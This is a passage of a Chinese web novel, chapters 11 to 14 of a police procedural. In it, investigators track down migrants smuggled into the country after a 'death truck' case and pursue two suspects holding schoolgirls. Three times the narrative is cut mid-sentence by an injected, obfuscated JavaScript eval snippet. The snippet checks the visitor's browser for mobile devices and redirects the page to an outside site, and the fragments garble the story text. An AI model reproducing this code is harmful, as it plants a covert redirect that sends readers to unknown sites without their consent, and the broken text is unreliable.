也就是说,那些偷渡者如果被找到抓回去了,难逃一死。
这...抓吧太不人道,不抓吧国际舆论都盯着呢,T国也希望刷洗清白。
“这件事,T国警方已经上报了他们的政府,接下来我们只能等上面领导指示。”马局长双手交叉放在桌面缓缓说道,看着下面几人严肃的面容道:“好了,都别多想了,好不容易有休息的时间,都回去睡觉吧。”
“艹了,那帮咖喱动作真他爹的快!”戚队长猛地站起身,低声咒骂着走出会议室,大马金刀像要去打架似的。
严钧面色沉沉地坐在位置上,江淮起身离开时拍了一下他的肩膀,“去休息吧,命令说不定下午就到了,接下来一忙起来就没时间了。”
从会议室出来,在走廊上碰到眼下青黑的孔宣,江淮同她走了一段路,闲聊道:“白港市真是没有一天歇下来的,刚看到一则医闹新闻,一附院的一个医生被病人持刀威胁,还好
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14642316|156498||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没有受到什么伤害,不然大好年华就毁了。”
孔宣双手插兜,闻言讲了个冷笑话,“那我该庆幸,我的病人不会动,只有我捅他们,没有他们捅我的份儿。”
“他们捅你那可太惊悚了。”江淮微笑着目送孔宣走向法医室,随后开车前往白港市第一附属医院,正巧宋扬和狗蛋都在那家医院。
进入病房楼,刚从电梯出来,就听见走廊上叽叽喳喳非常热闹,病人与家属们的目光统一看向一个方向。
江淮顺着他们的目光看过去,只见一群医生护士围着一个年轻的男医生,看着很关心担忧的样子。
一路走过去,听见病人们谈论:
“哎哟,刚才吓死个人,那人嗖得一下就从怀里掏出一把刀,直直刺向顾医生,当时我就离他们五米...”
“顾医生多好的医生啊,又温柔又帅气,关键医术还好,你说那人捅没良心的黑医也就算了,捅我们顾医生干嘛呀。”
“幸好顾医生反应快,你没看见,顾医生一下就把那人制服了,动作特别帅,跟武打片似的...”
听着这些人的讨论,江淮经过时忍不住好奇地朝那边看了一眼,那位顾医生转头,视线不经意掠过了她,江淮动作猛地顿住,耳边一瞬间失去所有声音。
咚!咚!咚!心跳声被无限放大,脑海里只剩下那双熟悉的眼睛。
“淮姐!你是来看我的吗?”
趴在门口看热闹的宋扬注意到江淮,乐颠颠地拄着拐杖朝她走过去。
江淮愣着神跟着宋扬走向病房,心里一团乱麻。
进入病房后,宋扬转身将房门关上,江淮过了好一会儿才发现后面没有一点动静。
“宋扬,你...”
正转身想说些什么,眼前却突然一黑被人大力推倒在床上,回过神没有防备地撞进一双狠厉的眼睛,这双眼睛距她极近,眼睫好似随时都会碰上。
“宋扬。”江淮沉下声,眼中没有任何惊讶。
宋扬压在她身上,手指轻柔地抚摸她的脸颊,声音异常温柔,“淮姐,是他的眼睛漂亮,还是我的眼睛漂亮?”
“你起来,压到我了。”江淮不想跟他矫情,伸手推拒。
宋扬却不放过她,非要说个究竟,两人呼吸交融,宋扬的嘴唇若有若无地触碰她的皮肤,声音阴戾,“淮姐,你知道我为什么会在门口吗?”
“因为我猜到,你看到那个医生一定会愣住的,怎么样,他们是不是很像,尤其是那双眼睛。”
“宋扬,你适可而止。”江淮拽住他的头发,没有丝毫心疼地拉着往后扯,猛地翻身将人反制压在自己身下,警告道。
宋扬沉闷地低笑起来,身体颤抖,似挑衅又似可怜地望着她,“江淮,你也没想到吧,你要杀死的金蟾,居然跟顾麟长得那么像,多讽刺,你还下得去手吗?”
江淮面若冰霜,看死人一样看着身下的宋扬,双手掐上他的脖颈,狠狠收紧用力,欣赏着他涣散、逐渐失神的眼睛,语气没有波动地道:
“一个假冒的伪劣品,也配跟顾麟相提并论?”
12. 水果街
下午三点,T国外交部对外界媒体透露案件进展,声称目前找到了几名同一批的偷渡者为L国人,晚上七点,L国政府下令调查死者是否为L国公民,L国警方开始与Z国外交部进行交涉。
晚上十点,庆州公安下达指示:案件照常进行。
白港市公安局连夜对新抓到的几名案件嫌疑人进行审问,隔天上午八点,严钧等人就站在了水果街街头。
“橙子!赣南脐橙,骨折价一块八一斤,快来买快来吃啊!”
“皇帝柑,皇帝吃了都说甜,走过路过不要错过,不好吃不要钱啊~”
“哎哎哎,你们站在路口干嘛呢,别挡路!”
江淮、严钧、白警官等人还有T国的几个咖喱警官来到黄狗叔交代的水果街,水果街距离水边村十几公里,是附近最大的水果集散地,全国各地的水果批发商都会来到这里挑选。
据黄狗叔交代,那些偷渡者在他那里睡几个小时后,临近清晨太阳升起来之前会步行前往水果街,混迹在街头打零工的人中,然后坐车北上。
十一月的庆州是金黄色的天下、橙子、橘子、柚子一股脑全成熟了,挂在田间地头,时不时给路人一个头槌,每个人都有成为牛顿的可能,水果街更是不得了,入目一片金灿灿,满大街散发水果的清香。
“不好意思啊。”江淮拉着严钧给推着小推车的大叔让路,其他人也让到路边,看着满是小推车与停靠的货车的街道有些无从下手,感觉站在哪里都会碍事。
不过他们也只是无措了一会儿,严钧一挥手,众人就按照分组各自散开混入人群了。
每组大概两三人,江淮、严钧还有T国那个年轻的翻译官在一组。
开始行动后,三人假装成散客在街上闲逛,实际上时刻注意着停靠在路边的小货车,黄狗叔说,这些小货车大多是小型批发商的,其中也混迹了不少专门拉人的私车,有些小批发商为了赚个油费回去的时候会载一两个人。
但大多数是不载人的,这种小货车一般就两个位置,批发商又大多是夫妻一起。
偷渡者有结伴的一般坐私车,身上特别拮据的会找顺路的批发商的车,这些人不会Z国语,但来之前会学几个简单的词汇与地名,路上不会跟司机说话。
“Haaaa~Mrs江,请问我们这是在找什么呐?”
在街上闲逛了好一会儿,跟在两人江严两人身后的翻译小哥终于忍不住了,操着一口咖喱味的混合语问。
他觉得这起案件没有自己国家的事了,心情变得轻松,话也多了起来。
江淮一听他说话就想笑,强忍着笑意回:“找一个断眉的司机,他会知道那些人去了哪里的,我们找他坐车。”
“Weeee~江,你笑起来真漂亮,你有男朋友吗?可以考虑一下我吗?”咖喱翻译小哥朝她抛媚眼,眼睛不停地放电。
“我吗?”江淮略感讶异看向他,“我以为你会更喜欢严警官。”
“矮油~严警官是很帅没错啦,可人家讨厌臭烘烘的男人~”咖喱小哥夹着嗓子,埋怨似的睇她一眼,“人家更喜欢女孩子啦,你不要对人家有刻板印象好不好,唉,我这种温柔可爱的男孩子,真是越来越没有市场了~”
江淮听他说话笑得停不下来,眼睛弯成了一弯月牙,只留一点缝,笑够了才道:“没有,你挺受欢迎的,起码我很喜欢你这种温柔可爱的男孩子。”
“Oiiii,真的吗江?你太好了,被你喜欢是我的荣幸~”咖喱小哥闻言立即热情地贴了上去,跟江淮的距离就跟很多闺蜜一样。
而江淮也没有表现出抗拒,说实话,这位咖喱小哥长得其实还可以,黑色卷毛,五官硬朗,大大的眼睛自带眼线,眼睫毛浓密迷人,非常有异域风情,重要的是性格很可爱。
走在后面的严钧一下瞪大了眼,不是哥们?这也可以?
看着前面江淮一直没有停下来的笑容,忍不住想,难不成她真的喜欢这种类型的男生?
不对啊,顾麟跟他一样是个猛男啊?还是说,其实顾麟私底下也会夹着嗓子说话?
噫~画面太美,不敢想象。
摇摇头将脑子里嫌恶的画面甩出去,严钧快走两步插到两人中间,不动声色地排挤这位新晋情敌,把江淮的注意力拉回自己这里。
三人说笑着,严钧的视线忽然锁定在某一处,压低了声音道:“你们看,是不是他?”
顺着严钧的视线看去,一辆不起眼的小货车停在一棵树下,司机正坐在驾驶座开窗抽烟,可以看到那位司机油腻的皮肤与右眼断了一截的眉毛。
“看来我们运气不错。”眯眼确定后,江淮大步朝那人走过去,严钧与咖喱小哥跟在他身后。
“叔,北上走不走,几个人出发?”
“走,怎么不走,我这车有七个位置,不过你们三位要是急,也可以包车,就是价钱可能要高一些,但是也没高多少,花钱买舒适嘛。”看到有人来,司机态度非常热情地说,立即打开车门抽出根烟递给严钧,看到咖喱小哥,却有些犹豫。
严钧虽然不抽烟,却伸手接了过来,知道这是这种人套近乎的一种方式。
“我们虽然不着急,但不想跟别人一起坐,就我们三个,去静海市,您说个价钱。”江淮跟人交涉。
司机伸出了一只手掌。
“五百?”
司机又伸出了一只手掌,道:“一千。”
江淮正向说什么,司机忙道:“你可别嫌贵,这车能拉七个人呢,后面挤一挤能拉八个,去静海市原本每人就是一百,你们这包车,价钱自然更贵一点,就这个数儿,到别家问也是价钱。”
江淮笑了,“师傅,您这就欺负人了吧,看我们是年轻人也不能这样啊...”
“算了算了,就一千而已,跟他这种人多说什么。”严钧按照人设拦住江淮,一副不差钱的模样说,“一千就一千,现在就带我们出发。”
“唉!好嘞~三位贵客请上车!”面对严钧瞧不起人的态度,司机一点不生气,反而笑眯眯地将人请上了车。
遇到这种人,他开心还来不及,巴不得每天都遇见这种傻大缺。
结果没乐多久,车刚驾驶到无人区段,一张蓝色警察证就伸到了他面前。
“白港市公安局查案,立即停车配合调
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14642317|156498||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
查。”
“呲——”
车辆紧急刹车,轮胎在路面留下黑色印痕,司机坐在驾驶座浑身颤抖个不停,“警警警...警察?!不是,警察叔叔,我就跑个黑车,不至于把我关进监狱吧?”
司机欲哭无泪地转身,一张酷似hei道大哥的脸此刻写满了委屈。
严钧面容严肃,“抓不抓你说了不算。”
在司机快要吓得尿裤子时,江淮笑眯眯地探出身看着他道:“师傅,您这做的可是违法生意,但是现在呢,有一个将功赎罪的机会摆在你面前,只要你告诉我们,平常那些偷渡者都坐车去哪里,我们就不抓你。”
“这这这...什么偷渡者,你不要胡说,这是侮蔑,我根本不知道什么偷渡!”司机大哥双手举起作投降状,但嘴依然很硬。
“您就别扛了。”江淮语气无奈,一副我全知道的模样道:“水边村的黄狗叔把你都供出来了,不然我们怎么知道你干这活儿呢。”
“挨卵,我钓他公龟!”司机低骂了一句,被迫妥协,但还是道:“我真不知道他们会去哪里,我平常都是把他们放在路边就走了,真不知道...”
“没关系,他们在哪下我们就在哪下,你把我们送过去就好,放心,钱照样给你。”
几分钟后,停下来的汽车重新行驶,司机说大多数偷渡者在81号国道与白静高速交叉口附近下车,严钧电话联系了那边的警方,了解到那附近有许多工厂。
“一个小时左右我们到那里,麻烦当地警方配合,目前具体人数不清楚,暂且需要调遣一百名左右警力,特大行动,建议配枪,对,没错...”
听着后面那位警察打电话时说的话,司机放在方向盘的手激动地颤抖,觉得自己搅进了什么不得了的案件中,却又不敢直接问这个看起来很凶的警察,只能旁敲侧击地问江淮:
“这位警察姐姐...”
“停,我不是警察,是医生,你可以叫我江医生。”江淮受不了被一个大叔叫姐姐,立即阻止了他。
“好,医生姐...不是,江医生啊,你们这什么案子啊,我听着挺严重的,是出人命了吗?”
这种问题不需要隐瞒,因为案件基本信息早已被媒体公开了,需要隐瞒的只有详细的行动计划和参与的调查人员等事情,所以江淮直接就回答了,“是命案,而且不止一条人命。”
“啊?那,那有几条啊?”司机颤着声音。
见他紧张得满头大汗,江淮估计逗他,“你猜猜。”
“三条?”
“少了。”
“五,五条?”
“太少了,大胆点。”江淮鼓励。
司机一咬牙:“二十条!”
江淮不再逗他,揭晓答案,“翻一倍再加一条。”
“啊呀~人家的脑袋~”
荒凉的公路上,唯一的一辆汽车猛然一个拐了一个“S”弯,差点撞到阴沟里去,咖喱小哥额头一下撞到了玻璃,打电话的严钧以为出了车祸,第一时间把江淮护在身下。
前排司机满脸虚汗,神思恍惚,在心中哀嚎:我亲娘啊,您儿子要坐大牢了啊!
13. 私立贵族学校
“死多少人跟您没关系,您别自己吓自己啊。”
扶着身起来的江淮瞬间猜透了司机的心理,见他不信,迫不得已给他科普起了法律,就这样,一个小时很快就过去了,白静高速与81号国道交叉口来到近前。
远远地,司机看到几辆特警车停靠在路边,小心脏不由得再次颤抖起来。
“师傅,一千块钱给你转过去了,下次有事还坐您的车。”下车后,江淮笑呵呵地对司机道。
司机心想再来一次我直接住院了,客套地笑了笑后调头后一溜烟儿就跑了。
见三人从车上下来,对面特警朝他们走来,三人也朝他们走去,期间江淮跟严钧咬耳朵问:“这一千块钱车费局里给不给报销啊?”
严钧也把脑袋偏向她,“放心,局里不报销我给你报销。”
“哈哈,三位同志,你们可算来了。”
“你们好,你们好,几位领导好,不好意思麻烦了,你们辛苦...”
见了面,双方开始走流程寒暄,一一握手说了几句话后才进入正题,坐上警车突击摸排附近工厂。
因为交通便利,交叉口附近工厂聚集,大多是中小型工厂,人力密集型企业,多与纺织服装相关。
江淮与严钧进了一家踩缝纫机的厂子。
他们人数众多,穿的警服又显眼,一靠近就被装卸货物的工人与保安大爷们注意到了,工人们慌里慌张跑进去通风报信,保安大爷连问都不敢地开门放行,警车畅通无阻地进入了工厂内部。
“不好啦!不好啦!有警察过来了!”出去上厕所的一个大姨慌张大喊。
其他踩缝纫机的大姨们听到后手上脚上却都没停,靠近门口的一位大姨看她那慌张的样子道:“估计又哪个老板没给结工资吧,你这么急做什么,你又没犯罪。”
“唉,对啊,又不是来抓我的。”前来报信的大姨一拍脑门说,糊涂地走向自己的工位,走了两步又察觉不对:
“不对啊,我看那一群警察都进我们工厂大门了,来的人特别多,还带枪,你们说是不是我们老板犯啥罪了吧?”
“啥?我们老板要被抓了?”旁边一位埋头苦干的大姨猛地抬起头,“那我们这个月的工资咋办?他是不是要卷钱跑路?”
“唰——”听见这一句,车间所有大姨都抬起了头,面色忧愁,叽叽咋咋地开始讨论:
“什么?老板要卷钱跑路不给我们发工资了?”
“这可不行,这个月工资还没结呢,我家里有三个孩子等着吃饭呢。”
“老板人呢?快给他打电话啊。”
“打着呢,正在通话中。”
“叩叩。”两声清脆的敲门声响起,一瞬间所有声音戛然而止,统一扭头朝门口看去,只见一个年轻姑娘含笑望着她们,身后是一高一矮两个男的,再后面,是一大群穿着黑色衣服的警察。
“不好意思啊,请问,谁是这里的主管?”敲门后,江淮站在门口礼貌地问,车间一片寂静,站在前面的几个大姨相互推搡,最终一个年长长相沉稳的大姨站了出来。
“阿姨,你们别紧张,我们来这就是找几个人,找完我们就走,现在需要你们配合一下,竖着排成两列队,每人开口说一句话,我说什么,你们跟着重复就行。”
江淮的话落,车间里许多人的脸色明显变了,眼神若有若无地想往某个方向看,却又强忍了下来。
通过观察她们的表情,江淮基本上确定是那几个人了,但还是走了一下流程。
她来到第一个人面前,读了一句李白的诗:“床前明月光。”
大姨跟着重复了一遍,普通话标准。
第二句,“疑是地上霜。”
“疑似地上酸。”第二位大姨口音有点浓,问题不大。
一个一个过来,车间仿佛成了诗词朗读课堂,见前面的人很容易都过了,后面身份没有问题的人都不那么紧张了,但有问题的人眼睛一直不敢往上抬,身体异常紧绷,仿佛往前面看一眼就会死人似的。
时间过去了五分钟,江淮走到了后半段,停在一个身材瘦小,皮包骨头的女人面前,盯着她垂下的眼皮缓缓开口,“噫吁嚱,危乎高哉。”
瘦小的女人胆怯地后退了一步,慢慢抬起头,手指了指自己的喉咙,又摆摆手,这时旁边的几位大姨见状解释:“这位警官,她是个哑巴,不会说话。”
“聋哑人,有残疾证吗?”
女人闻言将手伸向了身后,严钧警惕地把江淮往后拉了一步,侧身挡在江淮身前。
几秒后,女人竟真从口袋里掏出一本残疾证来,周围人都明显感到讶异,同时也松了一口气。
江淮接过来看了一看,上面盖了红章,不由得笑了笑,抬起脸对女人道:“虽然如此,还是请你跟我们到警局走一趟。”
说完,递给身后一个眼神,两名特警走上前。
不,女人张张口,恐惧地后退,一双憔悴的眼睛里写满了恳求。
“女士,请您不要为难我们。”
女人听不懂他们在说些什么,只看到他们不断朝自己逼近,忽然,女人朝江淮的方向疯狂跑过去,严钧霎时脑子一片空白,动作极其迅速地掏出枪上膛指向女人。
然而,那个女人只是下跪,不断地朝江淮磕头,嘴里说着谁都听不懂的语言。
车间众人哗然散开,所有人的目光都集中在了那个下跪磕头的女人身上,她跪下时,后背的脊骨凸出,穿着衣服也能看见明显的轮廓。
蓝色口罩从一半耳朵上掉下来,几缕花白的头发垂在她的额前,空气一片默然,许多大姨不忍心地别过头去。
看了她几秒,江淮无声叹了一口气,轻轻蹲下身,对她说了一句话。
话音刚落的瞬间,女人的所有动作都停了下来,身体僵了几瞬,随后缓缓直起身,眼中流下两行清泪。
后面的一切都十分顺利,在第一个女人屈服后,后面的人都没有什么反抗。
就这样,一行人忙到了深夜,从那片厂子里摸查出一百来号人,有男有女,还有半大的孩子,不过大部分是Y国的居民,小部分才是L国的,另外还有其他国家的。
由于人数太多,除L国以外居民由当地警方处理,分批遣送回国。
回去的路上,严钧好奇地问,“你跟那人说了什么?”
“对呀对呀~说了什么?她为什么突然愿意了?”咖喱小哥也从后面探出头问,扑闪着魅惑的大眼睛。
江淮坐在副驾驶看着前面被车灯照亮的道路,道:“我跟她说,你的同乡有四十一人意外死在了路上,我们需要调查清楚情况。”
咖喱小哥短促地啊了一声,车内再次安静下来。
此后几天,江淮、严钧,白港市几乎所有警员以及各地警方都在四处奔波,由于此次案件引起的巨大舆论,全国各地都来了一次偷渡大摸查。
当然,其他都是顺带的,主要是找到跟“死亡货车”同一批偷渡的那群人,据另外两名司机交代,他们车上分别有三十四和三十三人,再加上第一辆意外死亡的,这一批一共一百零八人。
为了找到这些人,网络技术科的同事们二十四小时加班,每天睡觉不超过六小时,不外出的警员看监控看得眼睛都快瞎了。
好在这些偷渡者基本都走固定的路线与安全屋,每次找到一个地方都能摸出一溜人,大大降低了寻人难度。
两天后,白港市公安局会议室。
“各位,目前国际刑警部那边在L国已经锁定了主要犯罪头目,抓获了八名犯罪嫌疑人,L国外交部督促我们尽快抓获关键嫌疑人与偷渡者,国内主要由我们白港市公安局负责,上面领导和其他地方的同志们都看着我们呢,我们可不能在关键时候掉链子。”
“戚队长,你来给大家讲一下目前的进展。”马局长朝支着头打瞌睡的戚言看过去。
戚言听到自己的名字猛地站起来,旁边郑队长小声提醒,“局长让你说一下目前的进展。”
“哦,进展。”戚言暗暗咬了下舌尖强迫自己清醒,“我们在渝水对岸发现一具尸体,与Y国进行交涉后,发现正是我们寻
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14642318|156498||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
找的金叔的尸体,初步判断是枪杀,目前正在尸检阶段。”
“死亡货车案同一批剩下的六十七名偷渡者,目前找到了六十四人,还剩下三人,其他的,呃,没有了。”
“不错。”马局长抬手示意戚言坐下,然后到:“这起案件事关重大,大家最后努一把力,为升职加薪再添一把火。”
提到升职加薪,众人的热情才高涨一点,不过,江淮无奈地笑,这跟她一个编外合同工没有一点关系啊,为了这个案子她的心理诊所都一周没开门了。
在所里吃完午饭,网技科那边的同志终于传来好消息:最后三人的去向找到了,在一家私立贵族学校。
“私立就私立,什么贵族,我们国家有这种东西吗?”前往私立学校时,开车的严钧嘴里吐槽。
江淮在副驾驶查看手机上传过来的资料,“是民间调侃的称呼,这所中学一学期十几万的学费,不是一般人家供得起的,大多是中高产家庭的孩子。”
“Haaaa~这么贵?他们的桌子是金子做的吗?”咖喱小哥捂嘴惊呼。
“唔。”江淮不断翻看资料,微微挑眉,“金子没有,但是有高尔夫球场,宿舍每个人都有专门的保姆,出去游学调研一般都是去欧洲啊南极啊等地方,音乐老师请了世界顶级钢琴家,之后出去留学都是常青藤...”
“no!淮你不要再念了,我的小心脏,好痛~”咖喱小哥捂胸倒地,深深感受到了这个世界的恶意。
严钧却想到了另一个地方,“这所学校这么厉害,那三个人怎么进去的,难不成当保安去了?”
“保安?保安需要本科学历,身高180以上,在省级以上拳击赛、格斗赛等武打比赛中拿到前三名以上的好成绩,或者从军队特种部队退伍....嗯,总之要求挺严的,外国人进去有点困难,另外这三人应聘的不是保安,而是后勤管理职位。”
严钧听后先是吐槽,“特勤处也就这要求了吧。”
然后才道:“看来这三人背后有门道啊。”
“谁知道呢?你最好祈祷只是普通的贿赂,不然事就大了。”
几分钟后,一个低调优雅、传闻花了几百万专门请了国外设计大师设计的大门出现在眼前,严钧驶向大门,摄像头识别出陌生车牌,一位穿着保安制服的青壮年朝驾驶座走来。
严钧与后座安静的赵警官等人打开车门走下去,出示警察证,这次抓人是明访,所有人都穿了警服,一共六名。
看到这么多警察下车,保安明显一惊,江淮透过窗户看到其中一位保安立即拿起了手机打电话。
“几位警官,请问你们到这里是有什么事情吗?”惊讶过后,保安态度很好地询问。
“查案,麻烦抬一下杆放我们进去。”赵警官道。
“这个当然可以,但是你们要怎么查呢,不如等我们主任过来好配合几位,您放心,我们主任马上就过来了...”保安赔笑道。
“我们来抓人,现在就放行。”赵警官面色严肃。
“这我真做不了主,您别为难我们这些打工人,我们主任真的马上就来,您就等五分钟,不,三分钟,三分钟行吗?”
这保安虽然态度一直放得很低,但就是拦着警车不让进门,看似卑微,实则强势。
江淮与严钧默默对视一眼:不愧是贵族学校,底气就是足啊,不知道谁在背后撑腰?
“唉,我说这位大哥。”眼见没有进展,江淮上前进行交涉,“这所学校的几位领导都要进去了,你就别护着了,就为了几千块钱工资至于拼命吗?您这身体,去哪拿不到这钱啊?”
“再说了,是我们非要进去你拦不住呀,怪不到你身上,最多罚几百块钱,但我要说的是真的,你失去的就不止几百块钱了。”
听到这种话一般保安早放行了,但这个保安明显是见过大场面的,苦笑着道:“警官,您别为难我了。”
江淮嘴角的笑容隐下,手悄然伸大衣里面,霍然从后腰摸出一把黑色手枪指向这人的脑门,眯眼凛声道:“现在,放行。”
14. 游戏开始
“放、放、放,现在就放!”
果然,人就是贱骨头,枪一指着脑门,再硬气的人也得跪下来。
那保安瞪着眼惊恐地举起双手,道闸杆“唰”一下就抬了起来。
江淮微微一笑,“这就对了,何必为难人呢,阻碍警察办案可是违法行为,下次记好了。”
“没,没有下次。”保安强挤出一个笑容道。
江淮收回枪,大步跨上警车。
警车过了道闸杆,严钧面色凝重地看向她,声音也异常严肃:“你哪来的枪?”
“嘘,仿真玩具枪,故意吓他的。”江淮玩笑般眨了下眼。
严钧长出一口气,紧绷的神经松下来,“你没吓到他,差点吓死我,违法持枪要判刑的你知不知道,万一被人拍到传到网上,你有十张嘴也解释不清,下次别开这种玩笑。”
警车离开不久,一个脑袋半秃的地中海慌慌张张赶到大门,一看门口空荡荡没有任何警察的影子立即大吼:“人呢!”
“进进进...进去了...”保安颤巍巍地回答。
“进去了?你们怎么办事的?不是叫你拦住他们吗?啊?”地中海跳起来揍一米八保安的脑袋,每说一句话就要打保安一下,“怎么办事的?啊?啊?怎么办的?!”
“她直接拿枪指着我,我不敢不放啊。”保安紧攥着拳头,委屈地说。
“枪?”地中海面色骤变,警察掏枪可不是小事,难不成真有领导要落马了?
“他老子的你不早说!他们往哪走了?”
“那...往那走了...”保安抬起手颤颤指向综合办公楼,地中海立即骑上电动车飞速朝办公楼赶去。
另一边,江淮等人已经下车进入办公楼,从下车看到办公楼到现在,赵警官嘴里一直在啧啧称奇,“这学校真有钱啊,办公楼建得跟皇宫似的。”
一般办公楼都方方正正没什么特色,但这所学校的外形如欧洲中世纪教堂,里面设施也极为豪华,地板干净得反光。
办公楼里很安静,走廊没什么人,偶有老师从厕所出来看到他们,也是疑惑地愣在原地不敢近前。
一行人目标明确,直接锁定了后勤保卫处,路过一个又一个办公室,终于,他们在二楼南侧看到了这个门牌。
204:后勤保卫处。
赵警官与严钧对视一眼,分别站在门口两侧,其余人也警戒起来,江淮则退了几步让开位置。
“叩叩叩,请问有人吗?”严钧有节奏地敲门。
“进。”过了几秒,里面传出一道中年男人的声音,严钧按下门把手推开门。
外面,地中海主任终于进入办公楼,迈着小短腿上楼梯,一边爬楼梯一边卑躬哈腰地打电话,“喂,校长啊,有警察进咱学校了,不是,不是学生打架,听门口保安说把枪都掏出来了,进来后直接去了办公楼,我估摸着不是小事,您看这...”
“几个警察而已,又不是第一次来了,紧张什么,这事我来办。”在家睡觉的校长皱眉挂断电话,然后打出了另一个号码,“喂,翟秘书吗?有个事儿...”
“你们...”保卫处的主任抬起头正想问有什么事,结果却看见一群警察鱼贯而入,在办公室里找着什么,当下就站起了身,惶恐地问:“几位警察同志,你们过来是有什么事情吗?”
话音刚落,一名男子突然站起身朝窗边跑去,试图跳窗逃跑,被一名特警抓住按在地上。
办公室所有人站起身,面面相觑,严钧一一看过他们的面容,发现只有地上一名男子在场,看向面前的主任,“其他人去哪了?”
“呃,这我也不太清楚,应该在值班吧。”
在严钧询问保卫处主任时,江淮走到被按在地上的那人身前,用L国语言问他:“另外两人在哪?”
男子在特警手下如垂死挣扎的鱼儿,只一味地咒骂不肯回答。
“不说?警方已经掌握了他们的面貌,早晚能抓到他们,你现在不过是拖延时间。”江淮垂眼看着闭嘴不言的男子,继续试探:“你们到这所学校的目的不简单吧,你不说,难不成他们现在正做什么要坐牢的事情?”
江淮眼尖地注意到他的面部有一瞬间的僵硬,没想到自己试探的话居然无意中猜中了,立即转身道:“严钧,现在就让人查监控,我怀疑那两人现在正在犯罪。”
听到江淮的话,严钧没有丝毫犹豫,马上询问保卫处主任:“监控室在哪?”
见警察如此严肃,主任哪敢犹豫,立即出门带路,“我带你们过去,在右边。”
一行人一路快跑到监控室,刚进门江淮就对惊愕的保安道:“警察办案,把大门的监控调出来,调到最大倍速。”
保安慌慌张张地开始操作,但速度太慢,江淮嫌他太慢让他让开自己坐在了电脑前,这所私立中学一共两个出口,江淮直接分屏同时观看。
“这两个人什么时候出去的?”严钧放出两张模糊的视频截图给主任看,照片虽然模糊,但熟悉的人一看就能认出来。
主任后倾了一下,眯起老花眼,“这两个,十几分钟前吧。”
江淮直接拉到十五分钟前倒着倍速观看,期间不断拉动度条。
几双眼睛围在她身后,仅仅两分钟后,赵警官就指着一个角落突然道:“停停停,是不是他?”
江淮点击放大,透过一辆黑车的前挡风玻璃看到两道高清的人影,不愧是私立学校,这监控就是清晰,不用怀疑,就是那两人。
“放大车牌号。”严钧一边说一边给交管所那边打去了电话,“...黑色轿车,车牌号是庆A·****8,十几分钟前从白港国际学校南门出去的,查查它现在在哪?”
“庆A·****8是吧,我看看啊...”半分钟后,“目前在春华大道。”
严钧立即告诉交警部门,让其设卡拦下,之后赵警官留下处理后续事宜,严钧与江淮驾车前往春华大道,江淮在副驾驶负责其他部门沟通联系,把目前的情况通知内部群里。
刚发出去几秒,戚队长就打过来了电话,声音噼里啪啦地砸过来,“春华大道?这么巧,我就在附近?对方几个人?有武器没有?车上有其他人吗?”
“两个,不知道。”江淮神色郑重,“很可能有,而且我怀疑是学生,你...”
江淮的话没说话,就听见戚言那边汽车骤然加速的声音,“我艹!我看见他们了!”
“嘟——”对面挂断了电话。
庆A·****8车内,两名十三四岁的女孩坐在后座。
后排座位宽敞,但两个女孩挨挨挤挤坐在一起,左右手的小拇指悄悄勾在一起,时不时用眼神与对方说话。
车速忽然慢了下来,前面莫名开始堵车,两个小女孩好奇地透过车窗朝外看去。
“嘀!嘀!”“艹,什么情况,怎么突然开始堵车了?”前排司机不耐地按两下喇叭,跟着车流往前。
近前十几米处,才看到警察居然在一辆辆查车。
“哥,这可咋办,警察在查车!”副驾驶的人一下瞪大了眼睛,六神无主地问。
前后左右全是车,透过后视镜一看,后面车流排出几百米的长队了,没有一丝出路,就算能走,如此近的距离也一定会被警察察觉。
“你急什么!”驾驶座的人没想到他们回国第一次出任务就遇到这种情况,额头也出了冷汗,但还是强作镇定,“我们车和身份都没问题,不一定是冲我们来的。”
车内气氛忽然焦灼,后排的两个小女孩敏感地察觉到变化,心中升起恐惧,手不知不觉紧紧握在了一起,不安地看向前面两人。
无论再怎么不愿意,车辆还是开到了警察身前。
“叩叩。”
司机缓缓降下车窗,脚虚踩在右边油门上,准备一有不对就冲过关卡。
“师傅,麻烦出示一下驾驶证。”交警弯着身子交谈。
拿出早已准备好的崭新驾驶证推给交警,交警只大致看了两眼就还给了他,然后对前方道:“放行。”
黑色轿车缓缓驶过关卡,车上两人据松了一口气,司机抬手擦了擦虚汗,“我说不是查我们的吧。”
“幸好刚才没冲动。”副驾驶附和道。
两人交谈时丝毫没有避讳后面的两个小女孩,因为这两个孩子是L国人,他们便下意识觉得她们听不懂Z国语言,但二人在国际学校上了半年学,普通的日常用语完全可以听懂。
此刻,后排的女孩们眼睛里充满了恐惧,却不敢让这二人发觉。
“交警说他们离开大道后朝东山区了,你从右方绕行。”江淮道。
